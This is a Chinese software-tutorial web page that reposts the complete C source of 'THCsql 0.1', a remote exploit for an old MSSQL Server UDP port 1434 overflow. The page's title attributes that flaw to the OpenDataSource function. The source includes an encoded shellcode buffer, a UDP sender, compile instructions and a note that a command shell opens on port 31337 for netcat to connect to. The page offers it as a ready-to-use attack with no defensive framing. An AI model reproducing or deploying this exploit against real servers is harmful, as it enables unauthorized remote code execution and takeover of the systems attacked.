文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 国产软件 | 国外软件 | 汉化补丁 | 设为首页 | 加入收藏
网站首页 软件下载
数码学院 网络学院
业界资讯 | 图形图像 | 操作系统 | 网络冲浪 | 工具软件 | 办公软件 | 媒体动画 | 精文荟萃 | 认证考试 | 网站建设 | 技术开发 | 专栏
当前位置:abcdown网络学院技术开发SQL 学院MSSQL OpenDataSource函数漏洞的攻击程序源码
精品广告
推荐TOP10
·系统安全之SA弱口令带来的安全隐患
·Sql Sever数据库自动备份
·SQL Server的有效安装
·如何才能让MySQL与OpenOffice共舞
·SQL Server各种日期计算方法
·sql 经典语句
·50种方法巧妙优化你的SQL Server数据库
·MySQL将为数据库管理员减负
·你的MySQL安全了吗?加铸23道安全门
·恢复误删数据(SQL Server 2000)--Log Explorer
·SQL Server连接中的常见错误
·优化SQL Server服务器内存配置的策略
·Sql server优化50法
·SQL Server连接失败错误故障的分析与排除
·存储过程从入门到熟练(多个存储过程完整实例及调用方法)
·剖析SQL Server 2005中的报告服务架构
·两个数据分页的存储过程
·MS SQL Server 2000系统数据类型
·SQL SERVER 2005 同步复制技术
·SQL Server 2005数据加密技术应用研究
阅读TOP10
·SQL Server安装文件挂起错误解决办法
·恢复误删数据(SQL Server 2000)--Log Explorer
·sql server日期时间函数
·SQL SERVER 2005 同步复制技术
·sql 经典语句
·SQL Server的有效安装
·SQL Server各种日期计算方法
·读取sql2000,sql2005中的表结构
·在Windows xp系统上安装了SQL server服务器版
·Sql server优化50法
·在sqlserver2005中安装sql server 2000的示例数据库northwind
·Sql数据库MDF数据文件数据库恢复
·sql server2000导入mdf文件
·同时安装sql2000和sql2005,经验点滴
·怎样在vb.net中将图片存入SQL Server 2000并能读出来使用?
·C#连接mysql
·开启sql server 2005的远程访问功能
·记录一致性错误日志可以简化PL-SQL调试
·SQL Server连接失败错误故障的分析与排除
·获取SQL Server的当前连接数

MSSQL OpenDataSource函数漏洞的攻击程序源码

日期:2005年7月4日 作者:清风网络学院 查看:[大字体 中字体 小字体]


针对David Litchfield发现的MSSQL OpenDataSource函数漏洞的攻击程序源码

/*****************************************************************************/
/* THCsql 0.1 - MSSQL Server exploit for Server < SP3 */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */
/* THC PUBLIC SOURCE MATERIALS */
/* */
/* The exploit can be freely distributed ! */
/* */
/* This is just another exploit for the well known mssql server bug which */
/* was found by David Litchfield last summer. Details in this advisory: */
/* http://www.nextgenss.com/advisories/mssql-udp.txt */
/* */
/* This exploit was tested on an english Windows 2k Server SP2 and MSSQL */
/* Server with SP0 and SP2 and has worked properly. The used shellcode is */
/* completely offsetless, which makes this exploit quite stable */
/* */
/* After successful exploitation of this bug, a commandshell should spawn on */
/* TCP port 31337 ! Use netcat to connect to this port ! */
/* */
/* If there's no connectable port 31337, maybe it's blocked by a firewall ! */
/* */
/* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib */
/* */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
/* scut, stealth, zip, zilvio and the rest of the combo ...... */
/*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

char badbuffer[] =
"\x04"
"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
"\xdc\xc9\xb0\x42"
"\xeb\x0e"
"JC"
"THC!"
"\x01\x70\xae\x42"
"\x01\x70\xae\x42"
"\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"
"\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"
"\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"
"\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"
"\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"
"\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"
"\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"
"\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"
"\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"
"\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"
"\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"
"\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"
"\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"
"\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"
"\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"
"\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"
"\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"
"\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"
"\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"
"\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"
"\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"
"\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"
"\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";

void usage();

int main(int argc, char *argv[])
{
unsigned short sqlport=1434;
unsigned int sock,addr,rc;
struct sockaddr_in sqludp;
struct hostent * hp;
WSADATA wsaData;

printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");
printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
printf("bug was found by David Litchfield\n");

if(argc<2)
usage();

if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !\n");
exit(-1);
}

hp = gethostbyname(argv[1]);

if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %s\n",argv[1]);
exit(-1);
}

sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if (!sock)
{
printf("socket() error...\n");
exit(-1);
}

if (hp != NULL)
memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);
else
sqludp.sin_addr.s_addr = addr;

if (hp)
sqludp.sin_family = hp->h_addrtype;
else
sqludp.sin_family = AF_INET;

sqludp.sin_port=htons(sqlport);

rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));
if(rc==0)
{
send(sock,badbuffer,sizeof(badbuffer)-1,0);
printf("\nexploit send .... sleeping a while ....\n");
Sleep(1000);
printf("\nok ... now try to connect to port 31337 via netcat !\n");
}
else
printf("can't connect to sql port udp 1434!\n");

shutdown(sock,1);
closesocket(sock);
exit(0);
}

void usage()
{
unsigned int a;
printf("\nUsage: <Host>\n");
exit(0);
}

(出处:ABC网络学院



上一篇:搞定RED HAT安装时的硬盘分区

下一篇:Discuz4.0.0RC3头像跨站漏洞


MSSQL OpenDataSource函数漏洞的攻击程序源码 相关软件: MSSQL OpenDataSource函数漏洞的攻击程序源码 相关文章:
·缔造大富翁神话函数版
·JavaScript画线函数
·文本框日期输入函数
·VB API 函数库简介
·C函数浏览
·Visual Basic 函数速查
·Vbscript函数方法速查
·API函数教程
·库函数速查字典V4.0
·FoxAPI中文API函数浏览器V1.5
·巧用Excel函数来实现工作表间的数据关联
·动态网页技术PHP程序字符串处理函数
·sql server日期时间函数
·Excel文本函数用法集萃
·格式化数字函数FormatNumber
·实例研究PHP函数isset和empty的区别
·用Excel函数快速填入部门名称
·详细讲解动态网页制作技术PHP中的函数应用
·针对select写了一个通用的option输出函数
·Win API函数与断点设置

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.abcdown.net
首页 | 本站声明 | 下载帮助 | 发布软件 |
中文版权所有:ABC学院 浙ICP备05000717号